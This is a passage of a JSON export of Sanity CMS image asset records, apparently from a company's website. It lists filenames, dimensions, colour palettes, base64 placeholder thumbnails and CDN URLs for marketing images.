gxJJ5x5iCvJaIw4Zn4HY4+XQlAP5XNP9pSf9tS/5rR/5uR/1vRfxpOvtlMfplLfdkJ/NiIelxNtqUcNG1qtHCwtPCw9K7utCpmtqLXu54MgD/VDP/aEr/c1X/clL+ck/+dlH9dk/7cUT5bz71aDDrZSnfhl3cu7Di2Nvg2d3Vys/Xy9Dd0dPXsaHZh1kA/1o8/3he/4Rr/31h/ntc/n5e/X5b/HxU+X5U8ndG4W481pZ74MrK6t3h39DQx7i40cXI5uDm3c3Lyp6IAP5dQP9/Z/+IcP5+ZP6DZ/6Faf6DZPyDYfmIZO+BVthzRsyXgtvKy+fZ29vGxMixrdfEw+zh5eHU1smupQD+Vjf+bFD+cVf+clf+d1v9c1T9akf8Z0H5akHsZjfSZDTGj3bXycnp4eTp2Nbiy8jo1NPu4OTiz9DOrKAA/lEx/lw//mBD/mhK/mpN/WFA/FQu/FAm+VIl7lIg1VUgwnlVz7au5Nzg8ePm8OHk7ODk5drg28G505h5AP1LKv1PLv1QL/1TM/1VNf1SMPxNKPxNJPpOJPNQId9QG8ReLb6HbM+1ruHMzeLS1drO0NS/utSegNp5QAD8SCX8SCX9SCT8SCX8SCX8SSX8Syb7TCX6TiX2UCPqUB3PUBm2Xi62gGXGoZbJsKvDqJ/FkXXSdT3gZhvOVIrz4EPTswAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#51413e","foreground":"#fff","population":1.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9e4e20","foreground":"#fff","population":3.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4c24","foreground":"#fff","population":6.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcc6bb","foreground":"#000","population":4.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5c23","foreground":"#fff","population":6.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b2716b","foreground":"#fff","population":2.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4c24","foreground":"#fff","population":6.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"168caad7b70fb5d5569b0ab982c4d9b3759a8305-725x405.png","path":"images/sczeoy4w/production/168caad7b70fb5d5569b0ab982c4d9b3759a8305-725x405.png","sha1hash":"168caad7b70fb5d5569b0ab982c4d9b3759a8305","size":141285,"uploadId":"zydPY55ZOYS10nc5A2Yb2UeQYW2vKKoC","url":"https://cdn.sanity.io/images/sczeoy4w/production/168caad7b70fb5d5569b0ab982c4d9b3759a8305-725x405.png"} {"_createdAt":"2022-09-14T13:41:27Z","_id":"image-16b477dd3d9684ace0bd61a09f594c74bd175f46-1200x630-jpg","_rev":"zfjncPXGLRWCYOpcpH4BaT","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T13:41:27Z","assetId":"16b477dd3d9684ace0bd61a09f594c74bd175f46","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAwj/xAAiEAACAQQCAgMBAAAAAAAAAAABAgMABAURBiETMUFCYZH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAH/xAAZEQEBAAMBAAAAAAAAAAAAAAABAgADEUH/2gAMAwEAAhEDEQA/AOgpYMkbuWRLsCMnarv1UjnHJsngMVDIoi8ksgTyKpIUftXYlAunPf8Aa2lt4blDHcRJKh+rjYpJ4PXE1XOvYVR0PMS4nmrrKYWK5u4ykpJU9e9fNFPoixoEjUKg6AA0BRUhmbLmrak4Of/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#814577","foreground":"#fff","population":0.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#992a86","foreground":"#fff","population":1.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#992a86","foreground":"#fff","population":1.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c59c","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c749c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef5331","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Kafka_Connect_product_page_meta_preview.jpg","path":"images/sczeoy4w/production/16b477dd3d9684ace0bd61a09f594c74bd175f46-1200x630.jpg","sha1hash":"16b477dd3d9684ace0bd61a09f594c74bd175f46","size":32306,"uploadId":"zy0YFk1ZytRWerijJ3KWSgCKIsRtZkEs","url":"https://cdn.sanity.io/images/sczeoy4w/production/16b477dd3d9684ace0bd61a09f594c74bd175f46-1200x630.jpg"} {"_createdAt":"2023-07-27T10:58:11Z","_id":"image-16d5763cdca5b6e4da6ebfb474d287e75195a0c6-1410x812-png","_rev":"JHBctTLkFjmsOG75HTurQi","_type":"sanity.imageAsset","_updatedAt":"2023-07-27T10:58:11Z","assetId":"16d5763cdca5b6e4da6ebfb474d287e75195a0c6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7S$ow4oxt~qoht8D*M}t8%M4oD*xtxuM}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7364532019704433,"height":812,"width":1410},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA8ElEQVQokY2R2W6DMBBF+f9vDIGE0kAJKsSe1WO7MlXpU0iujvzko9mqr4m73rXtra7b+tw2zbVpu6a9Xi4f0zQTcUopP0nV3/DUrKe6r+tz13XDlnEc53n2HszsmZlzrjyEZeXp/j0U4b6sJc55IjILB2VzzlVKycwAYCnewznvARBJRM3iO3IEpIcD7xGQkIiIWTQEi/GVHGMiUUAmVlUVVZHyvienpGb8+zmm+J/0om2LMZiFsGHR4h9WeFFZNRDzNqbssBRUtfR9cGcp0xIgIvEOID88OkciR9eqQjDe1qMadjzo5wDXzi+rHNzrB+Bxg8+5PxvbAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f403f","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f387c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c6498","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c4d5","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8494ec","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6498","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#444cc4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"16d5763cdca5b6e4da6ebfb474d287e75195a0c6-1410x812.png","path":"images/sczeoy4w/production/16d5763cdca5b6e4da6ebfb474d287e75195a0c6-1410x812.png","sha1hash":"16d5763cdca5b6e4da6ebfb474d287e75195a0c6","size":50733,"uploadId":"z5hlPVsC7cljPGFccUC8TM4L812IWiEb","url":"https://cdn.sanity.io/images/sczeoy4w/production/16d5763cdca5b6e4da6ebfb474d287e75195a0c6-1410x812.png"} {"_createdAt":"2023-10-27T10:58:50Z","_id":"image-16f6bc00184351ec293abe4f1737251c23a81b14-3000x4000-jpg","_rev":"1h5Wm5PSHuci3kB9XrtW8q","_type":"sanity.imageAsset","_updatedAt":"2023-10-27T10:58:50Z","assetId":"16f6bc00184351ec293abe4f1737251c23a81b14","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ddEV?Loft5og.TkBbJog%ioJogj]NPaet7oe%2fPbJR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":4000,"width":3000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGB//EACYQAAIBBAEEAQUBAAAAAAAAAAECAwAEBRESBhMhMUEUIjJRcWH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAL/xAAhEQABBAEDBQAAAAAAAAAAAAABAAIDEiEEERMFFTFRwf/aAAwDAQACEQMRAD8Aqsh1PH3ZFjG4Cu+6PYP8pXAZK4gW7lykhezA5QsfJb/KhbDrfHWeRkFzCVUbWT7N8jSqdYW9wk/012kDFtKsnoqfY1VHNOTeh+IeHGStLteq7GSItPGsL7/FnG9fuis5ku8VOI3lljlfiASq7H8ooe4zjBWxpd/CiMtjL2TKXRt7aZkZyfCnfmk8XFNZZVXmtefHfNJF8VrmGYtG05O5m9t8ml4dNlb8sFJ7YPkA/NPH1VzY6VTmFrjYKIxVtLc2neQLGHYnjx9eaKu5Y0Aj0qjag+BqioZJy9xd7TtZsAF//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30395c","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041675","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3b9ee","foreground":"#000","population":9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9bbd0","foreground":"#000","population":0.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3b9ee","foreground":"#000","population":9,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#935860","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5b25d","foreground":"#000","population":0.18,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"16f6bc00184351ec293abe4f1737251c23a81b14-3000x4000.jpg","path":"images/sczeoy4w/production/16f6bc00184351ec293abe4f1737251c23a81b14-3000x4000.jpg","sha1hash":"16f6bc00184351ec293abe4f1737251c23a81b14","size":599572,"uploadId":"5QPHrp1iQkHnH8KRwHCuNBx7sYw6hOMZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/16f6bc00184351ec293abe4f1737251c23a81b14-3000x4000.jpg"} {"_createdAt":"2022-12-14T14:07:19Z","_id":"image-16fbf686c16ae7a79cd37f09cc2d58f689336489-1567x844-jpg","_rev":"aJQte7Rd1SiavAM6Q8iHl0","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T14:09:24Z","altText":"A blue background, the text \"DevRelCon: Show value, join forces and remove barriers\", and the Aiven logo at the bottom.","assetId":"16fbf686c16ae7a79cd37f09cc2d58f689336489","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUDB//EAB8QAAEEAgIDAAAAAAAAAAAAAAEAAgMxBAURIRIiQf/EABYBAQEBAAAAAAAAAAAAAAAAAAIFBv/EABcRAQEBAQAAAAAAAAAAAAAAAAABQQL/2gAMAwEAAhEDEQA/AOYRZeoOO1jxEHePB9e+VLz4tW2EnFe98hrulNyKZVLNpWnnOxEtwIA+ohtExf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344e76","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":57.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":57.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4acd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98ace4","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#617796","foreground":"#fff","population":1.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4864b8","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"DevRelCon-Prague2022-Hero-Image.jpg","path":"images/sczeoy4w/production/16fbf686c16ae7a79cd37f09cc2d58f689336489-1567x844.jpg","sha1hash":"16fbf686c16ae7a79cd37f09cc2d58f689336489","size":73334,"title":null,"uploadId":"aXmtmw748SxpCaYEzjBKagcPZQtlPm9X","url":"https://cdn.sanity.io/images/sczeoy4w/production/16fbf686c16ae7a79cd37f09cc2d58f689336489-1567x844.jpg"} {"_createdAt":"2022-06-17T08:37:28Z","_id":"image-174484e31a29c75dcbd2cd9e11ead836c0b51782-2500x3125-png","_rev":"0HOthdQkSgJdYc0C9wbMGx","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:28Z","assetId":"174484e31a29c75dcbd2cd9e11ead836c0b51782","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dMMZae%y00wOAoD?w]$~00vx.TR-IWkoRjsl0iS%%3S~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":3125,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d4930","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#560d08","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ab81b1","foreground":"#fff","population":0.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ab81b1","foreground":"#fff","population":0.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faec80","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f58a5","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65a14","foreground":"#fff","population":0.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"JobCloud-image-composition.png","path":"images/sczeoy4w/production/174484e31a29c75dcbd2cd9e11ead836c0b51782-2500x3125.png","sha1hash":"174484e31a29c75dcbd2cd9e11ead836c0b51782","size":129121,"uploadId":"lU2IlyR2NnXiSXFtdhrVSN8Szv6OZndU","url":"https://cdn.sanity.io/images/sczeoy4w/production/174484e31a29c75dcbd2cd9e11ead836c0b51782-2500x3125.png"} {"_createdAt":"2023-11-07T09:10:57Z","_id":"image-175d41258c9bb65ea8c9b9189fc3121cc5bd0053-3295x1724-png","_rev":"YgPujUcKQ2JSpcKSYVfb15","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T09:10:57Z","assetId":"175d41258c9bb65ea8c9b9189fc3121cc5bd0053","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM[F.ye-=1dr}WjGfQj[f6dCe.g3e.g$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAABLklEQVQokbXSPU9TARQG4EMLFu0FwoIDA8iiDoIEo5ML/0A+JHw1FAoIls+G9oJCAhMJoD/5IRdqvAMMJjic9Tnvm3PCl2AqmA5mg7lgPlgKKsFKsBasB5vBdlAPdoODoBEcBc2gFeJBcCEHVv8BbGZghv2ZmeBrO+FisNxOuJoDt4LvbXA/OHws4dwzKj1UXlApUS2xVqLWSa3ARgdbBXa7aZRpJqQJx2XSrjvsPmEGzhT4NsTZZ9JxGm9ovqX1msNB6r3Uy+z1cPqKy/dcTfDrA9ejnA+QFvJgke0Rzif5+YnWKCdj/HjH0TA7/ewk7PdxNvIX/P2RmzEuXpIWc+BUB/PPWemn2sdqQi1hI5tu1jvZzJYW2csqJ/eVj3s5yarnK/+3ozzZ2zzxY98CBH/l8QwY3cAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":23.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbbd73","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b48461","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":23.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Avaya_social_media_1200x628.png","path":"images/sczeoy4w/production/175d41258c9bb65ea8c9b9189fc3121cc5bd0053-3295x1724.png","sha1hash":"175d41258c9bb65ea8c9b9189fc3121cc5bd0053","size":72522,"uploadId":"vkDPF2ZhDKfoXrhG4E7OZ6aqRNsgPIJk","url":"https://cdn.sanity.io/images/sczeoy4w/production/175d41258c9bb65ea8c9b9189fc3121cc5bd0053-3295x1724.png"} {"_createdAt":"2022-03-22T10:02:15Z","_id":"image-177ed14f79b961a315266fc969b7b76fdd557c60-606x525-svg","_rev":"OhqluxW0bWaObeQoIYPMHr","_type":"sanity.imageAsset","_updatedAt":"2022-03-22T10:02:15Z","assetId":"177ed14f79b961a315266fc969b7b76fdd557c60","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQJ%,.V@00tRq[4TxuL2M{~BIUIU%MxuRO.m%Mm+M{NG0eM{w]t7xv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1542857142857144,"height":525,"width":606},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAACgklEQVQ4jX2RWUuVcRDG52i0GoVtFoVIuy3Yotl2U0RktBhUFEVIRacdPcd3rMAKhLLVtMKrugiiqz5BUBBE9AG6iSi6qQi6sCgyz/OL//E9pnh0YGDemXl//2dmzPoZUa/L/8e4TcFtO2575VaazVXGtUYz0ja00RTD/nsRbhtxa8XtjtxqcZuMW6Kvp2k4YNwUQ8fjVo3bEdxSuNXLLYnbphiam2BoyzWpt3Eubidxa8DtKG6HcTuFW4TbStwKctMMDzzXp7ACtxbc2nDrwK0dt5uKrI3INhDZiOzD0VAwMJoKjJYS040FIa7AE9eysMjOEtkx3K7jiU6aEhu5MKYPKGkwMCR1xoxLxcbTpJGyctLWTKPVc3lyOVfLShVZHWlrJWVrqbMCGnqvHMQMVJbz151GSZx7tGu+7lal9XDred4928HXtzU83ldPR+VFPaip4ue3Qj69MT05MAyw54+FElBM15dtfHh5hfcv7uvHl9v8+n6Lj6/u8f75Lb5/3A/MoOtzgvblAxgDgVIuLkOqU+bvaXX/PkhP925l/u6m+/cBerpPICWBpShTGP4J68oHHIE0FhiHNAtpGTAHKAGmAdOBqUCppCVI4bswLzBOFEtaRGiG1UgrUGYhyqyUVI1UhTJLpcxipPJ4itmSZgKj8ykMhc2Sdqp3pNNAUlK9pKNAnaTjwCngGHAEOAnUhilyKvsDw1hbgENAWlKzpAhoAA7HfjwGhQdSks4De+J1DBp5jKT5ktYDNcC+WHE1sKq/xz2bgW2SQm5C/ivDyOxRYFK8gonAKCAcqyg+ysLsjmEdsD4cSFKo5QUOuFj/GEhIGg/Mi1WvkRTA4YEgIgv8B9jJDCY93mw7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#60462c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a12c04","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97506","foreground":"#fff","population":4.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccd4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4944c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97506","foreground":"#fff","population":4.68,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"uptime.svg","path":"images/sczeoy4w/production/177ed14f79b961a315266fc969b7b76fdd557c60-606x525.svg","sha1hash":"177ed14f79b961a315266fc969b7b76fdd557c60","size":35726,"uploadId":"gzn1nEdRA4vEFODlbw9h4NeR9PFuY9AY","url":"https://cdn.sanity.io/images/sczeoy4w/production/177ed14f79b961a315266fc969b7b76fdd557c60-606x525.svg"} {"_createdAt":"2024-02-14T07:10:03Z","_id":"image-178304375d9d1a3c72e7144b9f075379c46d9e16-2044x1360-png","_rev":"MAEBctrw3NxoSayYojXQNQ","_type":"sanity.imageAsset","_updatedAt":"2024-02-14T07:10:03Z","assetId":"178304375d9d1a3c72e7144b9f075379c46d9e16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VBS6V%?GW?x]RQ~pE2WBsCkBkXozM{WAWCxun+tRW?of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5029411764705882,"height":1360,"width":2044},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAABYlAAAWJQFJUiTwAAABq0lEQVQokW2Sy64TMQyG5/0fiT07NmwQKxCnnLYzzeTm+J6MUKZdwBHWL0uR8jn2Hy+PLPeE1x1uCQqKWncf5p3VaqMKSCzq3fswHyyGxETCYqK2kBiJsTqbs/o8soq6Whc1VhNz825nRbUu5qJTLL40RGYxM3dntUYMSCLa+xjjGMdH9THMXc8SSwh7TAkAGmIBBCScsLh7Pwv8G4f3zixEzKJLSjmm3Foj5uezhMTMRIyINIPnTRHVV4Mi+oLPS6yqvc+RGnFrE6/Qcq65TNXTt1cFmz2zTqcWEZ12uh/HYdYBsORaSy1TkAuk0nLFilxRgF6qJAVlEZkDqOoYQ0XqI+yXy3655Ou1hpDCHh4xxBJyCwWfepT21MIsbfYkvQ8Tqdu2v/1Kl7d6fYcQ4mPf1n0LeUuw5fZB58zEZjbGMDMotcaIpWApDVosbWL/IyeMOO0x8wl7p+c38LQakCLQmtua4IPuO9xCnXBDUrU+hvcxt0qUeLaDJLHiGusEznw/8y3UHz/j929haQ1bw7lSL9iJ9VxoY7EEtP39YIQ1w/u9fP2yfv70+w9vYulHDIjIrgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#687275","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#632720","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c76155","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aac4cd","foreground":"#000","p